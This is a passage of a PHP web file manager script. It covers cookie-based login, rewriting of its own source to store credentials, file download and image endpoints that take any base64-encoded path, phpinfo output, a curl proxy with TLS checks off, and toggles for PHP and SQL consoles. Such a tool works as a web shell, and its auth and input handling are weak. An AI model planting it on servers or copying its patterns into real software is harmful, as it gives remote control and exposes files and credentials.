	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File managerx').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
